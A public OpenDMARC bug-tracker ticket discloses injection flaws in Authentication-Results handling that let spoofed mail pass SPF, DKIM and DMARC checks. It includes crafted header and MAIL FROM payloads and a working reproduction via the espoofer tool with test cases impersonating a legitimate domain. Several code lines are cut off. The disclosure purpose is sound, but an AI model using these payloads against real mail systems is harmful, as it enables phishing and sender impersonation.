opendmarc Tickets

Open source DMARC implementation

Status: Inactive
Brought to you by: cm-msk, gushi

This project can now be found here.

#237 Security Bugs: authentication results injections attacks affecting OpenDMARC that can bypass DMARC authentication

Milestone: 1.3.2 **Status:** open **Owner:** nobody **Labels:** None
Updated: 2020-03-04 **Created:** 2020-03-04 **Creator:** Jianjun **Private:** No

If a mail server uses both OpenDMARC and pypolicyd-spf/OpenDKIM, its SPF/DKIM and DMARC authentication can be bypassed.

1. Problem explanation

The problem is caused by inconsistencies between SPF/DKIM components (e.g., pypolicyd-spf, OpenDKIM) and OpenDMARC.

SPF and DKIM component need to forward their authentication results to the DMARC component, so that the DMARC component can check whether the domain verified by SPF and DKIM aligns with the domain in the From header. But DMARC component may not parse and interpret the output of the SPF/DKIM component as expected, which causes SPF and DKIM to use one domain for verification, but DMARC uses another one for the alignment test.

1.1 Authentication-results header syntax.

RFC 8601 defines the Authentication-Results header, which provides a common framework for passing authentication results among SPF, DKIM, and DMARC. The below shows a typical example of an Authentication-Results header from SPF and DKIM:

```
Authentication-Results: example.com; spf=pass smtp.mailfrom=sender@sender.com; dkim=pass (1
```

In the example, `spf=pass` and `dkim=pass` indicate that the message passes both SPF and DKIM verification on the mail server (example.com), `smtp.mailfrom` represents the domain verified by the SPF component, and `header.d` represents the domain verified by the DKIM component. The content in the quote and parentheses indicate comments.

When receiving Authentication-Results header from SPF and DKIM components, DMARC parses it to obtain the SPF/DKIM authentication results and checks whether the `header.d` or `smtp.mailfrom` value aligns with the domain in the From header.

1.2 Authentication results injection attack.

When the attacker's malicious domain is forwarded and embedded in `header.d` and `smtp.mailfrom` fields, DMARC component may parse those fields in a different way than the SPF and DKIM component intended. An attacker can craft such malformed domains by introducing some special characters, for example, `a.com.'.b.com`, SPF and DKIM components may take those characters as data information, but DMARC components may parse them as control information and extract another domain for the alignment test.

We found two types of injection attacks which exploit the malformed domain in DKIM and SPF authentication results respectively:

1) DKIM authentication results injection attacks.

The below shows an example of the crafted message. An attacker generates the DKIM-Signature header with his own private key, in which the `d=` value is `legitimate.com'any.attacker.com`, with a literal open quote embedded within it.

```
From: <security@legitimate.com>
DKIM-Signature: v=1; a=rsa-sha256; c=simple/relaxed; d=legitimate.com'any.attack.com; s=sel
To: <victim@Protonmail.com>
Subject: Please update your profile

Dear customer,...
```

When receiving this message, DKIM component queries `selector._domainkey.legitimate.com'any.attacker.com`, which is the attacker's domain, to obtain the DKIM public key to verifies the message, and generates the following authentication results:

```
Authentication-results: victim.com; dkim=pass (1024-bit key) header.d=legitimate.com'.attac
```

When receiving the Authentication-Results header, the DMARC component parses `header.d` as legitimate.com, because the content after the quote is parsed as a comment. Since `header.d` is identical with the domain in From header, the attacker's message can pass DMARC verification.

Apart from the single quote ('), double quote (") and '(' characters can also be used for this technique, because RFC~5322 defines the characters within them as an atom or comments.

2) SPF authentication results injection attack.

Similarly, an attacker can craft such malformed addresses in MAIL FROM commands to bypass SPF and DMARC verification. SPF components verify the attacker-controlled domain `legitimate.com(.attacker.com`, while DMARC modules take the first half of the domain for the alignment test. You can use the following steps to reproduce these attacks.

2. Steps to reproduce

2.1 Testing target

Postfix v3.3.0
opendmarc v1.3.2
opendkim-2.10.3
pypolicyd-spf v2.0.2

2.2. Steps to reproduce

1). Download the tool: https://github.com/chenjj/espoofer

2). Set DKIM public key for attacker's domain :

```
selector._domainkey.attacker.com TXT  "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNA
```

3). Configure the tool in espoofer.py:

```
config = {
        "attacker_site": b"", # e.g., attacker.com
        "legitimate_site": b"",  #e.g., facebook.com
        "victim_address": b"", # target email address
        "case_id": b"case_a7", # the case id in testcases.py
}
```

4). Save the following code as testcases.py.

```
from common.common import *

test_cases = {
    "case_a4": { # An example of DKIM authentication injection attack
        "helo": b"attack.com",
        "mailfrom": b"<any@attack.com>",
        "rcptto": b"<victim@victim.com>",
        "dkim_para": {"d":b"legitimate.com'a.attack.com", "s":b"selector", "sign_header": b'
        "data": {
            "from_header": b"From: <security@legitimate.com>\r\n",
            "to_header": b"To: <victim@victim.com>\r\n",
            "subject_header": b"Subject: fake subject here\r\n",
            "body": b"Hi, fake body here.\r\n",
            "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: text/plain;
        }
    },
    "case_a7": { # A example of SPF authentication results injection attack
        "helo": b"attack.com",
        "mailfrom": b"<@legitimate.com,@any.com:'any@a.attack.com>",
        "rcptto": b"<victim@victim.com>",
        "data": {
            "from_header": b"From: <security@legitimate.com>\r\n",
            "to_header": b"To: <victim@victim.com>\r\n",
            "subject_header": b"Subject: fake subject here\r\n",
            "body": b"Hi, fake body here.\r\n",
            "other_headers": b"Date: " + get_date() + b"\r\n" + b'Content-Type: text/plain;
        }
    },
}
```

5). run the code: python3 espoofer.py

Discussion

Log in to post a comment.

San Diego, CA 92101
+1 (858) 454-5900

Resources

Support
Site Documentation
Site Status